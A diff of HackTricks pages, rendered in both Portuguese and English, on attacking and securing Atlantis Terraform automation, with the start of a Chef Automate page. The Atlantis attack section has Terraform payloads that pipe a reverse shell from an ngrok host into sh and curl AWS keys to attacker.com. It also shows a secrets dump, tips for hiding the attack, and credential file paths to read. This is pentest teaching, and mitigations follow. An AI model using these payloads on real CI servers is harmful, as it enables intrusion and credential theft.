Atlantis permite indicar se você deseja que o **PR** seja **`aprovado`** por outra pessoa (mesmo que isso não esteja definido na proteção de branch) e/ou ser **`mesclável`** (proteções de branch aprovadas) **antes de executar apply**. Do ponto de vista de segurança, definir ambas as opções é recomendado.
|
||||
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
|
||||
|
||||
Caso `allowed_overrides` seja True, essas configurações podem ser **sobrescritas em cada projeto pelo arquivo `/atlantis.yml`**.
|
||||
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
|
||||
|
||||
**Scripts**
|
||||
|
||||
A configuração do repositório pode **especificar scripts** para serem executados [**antes**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ganchos de pré-workflow_) e [**depois**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_ganchos de pós-workflow_) de um **workflow ser executado.**
|
||||
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
|
||||
|
||||
Não há nenhuma opção para permitir **especificar** esses scripts no **arquivo de repositório `/atlantis.yml`**.
|
||||
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
|
||||
|
||||
**Workflow**
|
||||
|
||||
Na configuração do repositório (configuração do lado do servidor), você pode [**especificar um novo workflow padrão**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ou [**criar novos workflows personalizados**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Você também pode **especificar** quais **repositórios** podem **acessar** os **novos** gerados.\
|
||||
Então, você pode permitir que o arquivo **atlantis.yaml** de cada repositório **especifique o workflow a ser usado.**
|
||||
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
|
||||
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Se a flag [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, workflows podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser necessário que **`allowed_overrides`** especifique também **`workflow`** para **sobrescrever o workflow** que será usado.\
|
||||
> Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que puder acessar esse repositório**.
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -124,20 +124,21 @@ Então, você pode permitir que o arquivo **atlantis.yaml** de cada repositório
|
||||
> steps: - run: my custom apply command
|
||||
> ```
|
||||
|
||||
**Verificação de Políticas Conftest**
|
||||
**Conftest Policy Checking**
|
||||
|
||||
Atlantis suporta a execução de **políticas** [**conftest**](https://www.conftest.dev/) **do lado do servidor** contra a saída do plano. Casos de uso comuns para usar esta etapa incluem:
|
||||
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
|
||||
|
||||
- Negar o uso de uma lista de módulos.
|
||||
- Afirmar atributos de um recurso no momento da criação.
|
||||
- Capturar exclusões de recursos não intencionais.
|
||||
- Prevenir riscos de segurança (ou seja, expor portas seguras ao público).
|
||||
- Denying usage of a list of modules
|
||||
- Asserting attributes of a resource at creation time
|
||||
- Catching unintentional resource deletions
|
||||
- Preventing security risks (ie. exposing secure ports to the public)
|
||||
|
||||
Você pode verificar como configurá-lo na [**documentação**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
### Comandos do Atlantis
|
||||
### Atlantis Commands
|
||||
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
|
||||
|
||||
[**Na documentação**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) você pode encontrar as opções que pode usar para executar o Atlantis:
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -160,82 +161,94 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
### Ataques
|
||||
|
||||
### Attacks
|
||||
|
||||
> [!WARNING]
|
||||
> Se durante a exploração você encontrar este **erro**: `Error: Error acquiring the state lock`
|
||||
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
|
||||
|
||||
You can fix it by running:
|
||||
|
||||
Você pode corrigir isso executando:
|
||||
```
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Modificação de configuração em um novo PR
|
||||
|
||||
Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar um PR. Se você puder **executar `atlantis plan`** (ou talvez seja executado automaticamente) **você poderá RCE dentro do servidor Atlantis**.
|
||||
#### Atlantis plan RCE - Config modification in new PR
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
|
||||
|
||||
Você pode fazer isso fazendo com que [**Atlantis carregue uma fonte de dados externa**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Basta colocar um payload como o seguinte no arquivo `main.tf`:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Ataque Mais Discreto**
|
||||
|
||||
Você pode realizar este ataque de uma maneira **mais discreta**, seguindo estas sugestões:
|
||||
**Stealthier Attack**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contém o rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Você pode encontrar o código rev shell em [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- No recurso externo, use o recurso **ref** para ocultar o **código rev shell do terraform em um branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Em vez** de criar um **PR para master** para acionar o Atlantis, **crie 2 branches** (test1 e test2) e crie um **PR de um para o outro**. Quando você tiver concluído o ataque, apenas **remova o PR e os branches**.
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
#### Dump de Segredos do Atlantis
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
|
||||
|
||||
Você pode **dump secrets usados pelo terraform** executando `atlantis plan` (`terraform plan`) colocando algo assim no arquivo terraform:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis aplica RCE - Modificação de configuração em nova PR
|
||||
|
||||
Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar uma PR. Se você puder **executar `atlantis apply`, poderá RCE dentro do servidor Atlantis**.
|
||||
#### Atlantis apply RCE - Config modification in new PR
|
||||
|
||||
No entanto, você geralmente precisará contornar algumas proteções:
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
- **Mergeable**: Se essa proteção estiver definida no Atlantis, você só poderá executar **`atlantis apply` se a PR for mergeable** (o que significa que a proteção do branch precisa ser contornada).
|
||||
- Verifique possíveis [**contornos de proteções de branch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Aprovado**: Se essa proteção estiver definida no Atlantis, **outro usuário deve aprovar a PR** antes que você possa executar `atlantis apply`
|
||||
- Por padrão, você pode abusar do [**token do Gitbot para contornar essa proteção**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
However, you will usually need to bypass some protections:
|
||||
|
||||
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
|
||||
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
|
||||
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
Executando **`terraform apply` em um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Você só precisa garantir que algum payload como os seguintes termine no arquivo `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Siga as **sugestões da técnica anterior** para realizar este ataque de uma **forma mais furtiva**.
|
||||
|
||||
#### Injeção de Parâmetros do Terraform
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
|
||||
|
||||
Ao executar `atlantis plan` ou `atlantis apply`, o terraform está sendo executado por baixo, você pode passar comandos para o terraform a partir do atlantis comentando algo como:
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -243,17 +256,18 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
Algo que você pode passar são variáveis de ambiente que podem ser úteis para contornar algumas proteções. Verifique as variáveis de ambiente do terraform em [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
#### Fluxo de Trabalho Personalizado
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
Executando **comandos de build personalizados maliciosos** especificados em um arquivo `atlantis.yaml`. O Atlantis usa o arquivo `atlantis.yaml` do branch da pull request, **não** do `master`.\
|
||||
Essa possibilidade foi mencionada em uma seção anterior:
|
||||
#### Custom Workflow
|
||||
|
||||
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
This possibility was mentioned in a previous section:
|
||||
|
||||
> [!CAUTION]
|
||||
> Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, os fluxos de trabalho podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser necessário que **`allowed_overrides`** especifique também **`workflow`** para **substituir o fluxo de trabalho** que será utilizado.
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
>
|
||||
> Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que puder acessar esse repositório**.
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -272,97 +286,99 @@ Essa possibilidade foi mencionada em uma seção anterior:
|
||||
> - run: my custom apply command
|
||||
> ```
|
||||
|
||||
#### Contornar proteções de plan/apply
|
||||
#### Bypass plan/apply protections
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
|
||||
Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _tiver_ `apply_requirements` configurado, é possível que um repositório **modifique as proteções de plan/apply para contorná-las**.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
|
||||
#### PR Hijacking
|
||||
|
||||
Se alguém enviar **`atlantis plan/apply` comentários em seus pull requests válidos,** isso fará com que o terraform seja executado quando você não quiser.
|
||||
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
|
||||
|
||||
Além disso, se você não tiver configurado na **proteção de branch** para pedir para **reevaluar** cada PR quando um **novo commit for enviado** para ele, alguém poderia **escrever configs maliciosas** (ver cenários anteriores) na configuração do terraform, executar `atlantis plan/apply` e obter RCE.
|
||||
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
|
||||
|
||||
Esta é a **configuração** nas proteções de branch do Github:
|
||||
This is the **setting** in Github branch protections:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
Se você conseguir **roubar o webhook secret** usado ou se **não houver nenhum webhook secret** sendo usado, você poderia **chamar o webhook do Atlantis** e **invocar comandos do atlantis** diretamente.
|
||||
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
O Bitbucket Cloud **não suporta webhook secrets**. Isso poderia permitir que atacantes **falsificassem solicitações do Bitbucket**. Certifique-se de permitir apenas IPs do Bitbucket.
|
||||
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
|
||||
|
||||
- Isso significa que um **atacante** poderia fazer **solicitações falsas para o Atlantis** que parecem estar vindo do Bitbucket.
|
||||
- Se você estiver especificando `--repo-allowlist`, então eles poderiam apenas falsificar solicitações relacionadas a esses repositórios, então o maior dano que poderiam causar seria planejar/aplicar em seus próprios repositórios.
|
||||
- Para evitar isso, adicione à lista de permissões [os endereços IP do Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (veja Endereços IPv4 de saída).
|
||||
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
|
||||
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
|
||||
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Se você conseguiu acessar o servidor ou pelo menos obteve um LFI, há algumas coisas interessantes que você deve tentar ler:
|
||||
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
|
||||
|
||||
- `/home/atlantis/.git-credentials` Contém credenciais de acesso ao vcs
|
||||
- `/atlantis-data/atlantis.db` Contém credenciais de acesso ao vcs com mais informações
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Arquivo de estado do Terraform
|
||||
- Exemplo: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Variáveis de ambiente
|
||||
- `/proc/[2-20]/cmdline` Linha de comando do `atlantis server` (pode conter dados sensíveis)
|
||||
- `/home/atlantis/.git-credentials` Contains vcs access credentials
|
||||
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
|
||||
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env variables
|
||||
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
|
||||
|
||||
### Mitigations
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Porque qualquer um pode comentar em pull requests públicos, mesmo com todas as mitigations de segurança disponíveis, ainda é perigoso executar o Atlantis em repositórios públicos sem a configuração adequada das configurações de segurança.
|
||||
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
Se você estiver executando em um repositório público (o que não é recomendado, veja acima), você não deve definir `--allow-fork-prs` (padrão é falso) porque qualquer um pode abrir um pull request de seu fork para seu repositório.
|
||||
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
O Atlantis exige que você especifique uma lista de permissões de repositórios dos quais aceitará webhooks através da flag `--repo-allowlist`. Por exemplo:
|
||||
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
|
||||
|
||||
- Repositórios específicos: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Sua organização inteira: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Todos os repositórios na sua instalação do GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Todos os repositórios: `--repo-allowlist=*`. Útil quando você está em uma rede protegida, mas perigoso sem também definir um webhook secret.
|
||||
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
|
||||
|
||||
Essa flag garante que sua instalação do Atlantis não esteja sendo usada com repositórios que você não controla. Veja `atlantis server --help` para mais detalhes.
|
||||
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
Se atacantes estiverem enviando pull requests com código malicioso do Terraform no seu modelo de ameaça, então você deve estar ciente de que as aprovações do `terraform apply` não são suficientes. É possível executar código malicioso em um `terraform plan` usando a [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou especificando um provedor malicioso. Esse código poderia então exfiltrar suas credenciais.
|
||||
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
|
||||
|
||||
Para evitar isso, você poderia:
|
||||
To prevent this, you could:
|
||||
|
||||
1. Incorporar provedores na imagem do Atlantis ou hospedar e negar egress em produção.
|
||||
2. Implementar o protocolo de registro de provedores internamente e negar egress público, assim você controla quem tem acesso de escrita ao registro.
|
||||
3. Modificar o [configuração do repositório do lado do servidor](https://www.runatlantis.io/docs/server-side-repo-config.html)'s passo `plan` para validar contra o uso de provedores ou fontes de dados não permitidos ou PRs de usuários não permitidos. Você também poderia adicionar validação extra neste ponto, por exemplo, exigindo um "joinha" no PR antes de permitir que o `plan` continue. O Conftest poderia ser útil aqui.
|
||||
1. Bake providers into the Atlantis image or host and deny egress in production.
|
||||
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
|
||||
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
O Atlantis deve ser executado com Webhook secrets definidos através das variáveis de ambiente `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Mesmo com a flag `--repo-allowlist` definida, sem um webhook secret, atacantes poderiam fazer solicitações ao Atlantis se passando por um repositório que está na lista de permissões. Webhook secrets garantem que as solicitações de webhook estão realmente vindo do seu provedor de VCS (GitHub ou GitLab).
|
||||
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
|
||||
|
||||
Se você estiver usando Azure DevOps, em vez de webhook secrets, adicione um nome de usuário e senha básicos.
|
||||
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
O Azure DevOps suporta o envio de um cabeçalho de autenticação básica em todos os eventos de webhook. Isso requer o uso de uma URL HTTPS para sua localização de webhook.
|
||||
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
Se você estiver usando webhook secrets, mas seu tráfego estiver sobre HTTP, então os webhook secrets poderiam ser roubados. Ative SSL/HTTPS usando as flags `--ssl-cert-file` e `--ssl-key-file`.
|
||||
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
É altamente recomendado habilitar a autenticação no serviço web. Ative o BasicAuth usando `--web-basic-auth=true` e configure um nome de usuário e uma senha usando as flags `--web-username=yourUsername` e `--web-password=yourPassword`.
|
||||
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
|
||||
|
||||
Você também pode passar isso como variáveis de ambiente `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` e `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
@@ -370,3 +386,6 @@ Você também pode passar isso como variáveis de ambiente `ATLANTIS_WEB_BASIC_A
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
# Segurança do Chef Automate
|
||||
# Chef Automate Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é o Chef Automate
|
||||
## What is Chef Automate
|
||||
|
||||
Chef Automate é uma plataforma para automação de infraestrutura, conformidade e entrega de aplicações. Ela expõe uma interface web (frequentemente Angular) que se comunica com serviços gRPC backend via um gRPC-Gateway, fornecendo endpoints do tipo REST sob caminhos como /api/v0/.
|
||||
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
|
||||
|
||||
- Componentes backend comuns: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
|
||||
- Mecanismos de autenticação: user/API tokens e um header de token do data collector x-data-collector-token
|
||||
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
|
||||
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
|
||||
|
||||
## Enumeração & Ataques
|
||||
## Enumeration & Attacks
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,76 +2,81 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Visão geral
|
||||
## Overview
|
||||
|
||||
Esta página reúne técnicas práticas para enumerar e atacar instâncias do Chef Automate, com ênfase em:
|
||||
- Descobrir endpoints REST respaldados por gRPC-Gateway e inferir schemas de requisição via respostas de validação/erro
|
||||
- Abusar do header de autenticação x-data-collector-token quando defaults estiverem presentes
|
||||
- Time-based blind SQL injection na Compliance API (CVE-2025-8868) afetando o campo filters[].type em /api/v0/compliance/profiles/search
|
||||
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
|
||||
- Abusing the x-data-collector-token authentication header when defaults are present
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
|
||||
|
||||
> Nota: Respostas do backend que incluem o header grpc-metadata-content-type: application/grpc tipicamente indicam um gRPC-Gateway fazendo bridge de chamadas REST para serviços gRPC.
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Frequentemente Angular. Bundles estáticos podem indicar paths da REST (ex.: /api/v0/...)
|
||||
- API transport: REST para gRPC via gRPC-Gateway
|
||||
- Respostas podem incluir grpc-metadata-content-type: application/grpc
|
||||
- Fingerprints de database/driver:
|
||||
- Corpos de erro que começam com pq: sugerem fortemente PostgreSQL com o driver Go pq
|
||||
- Endpoints interessantes da Compliance (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
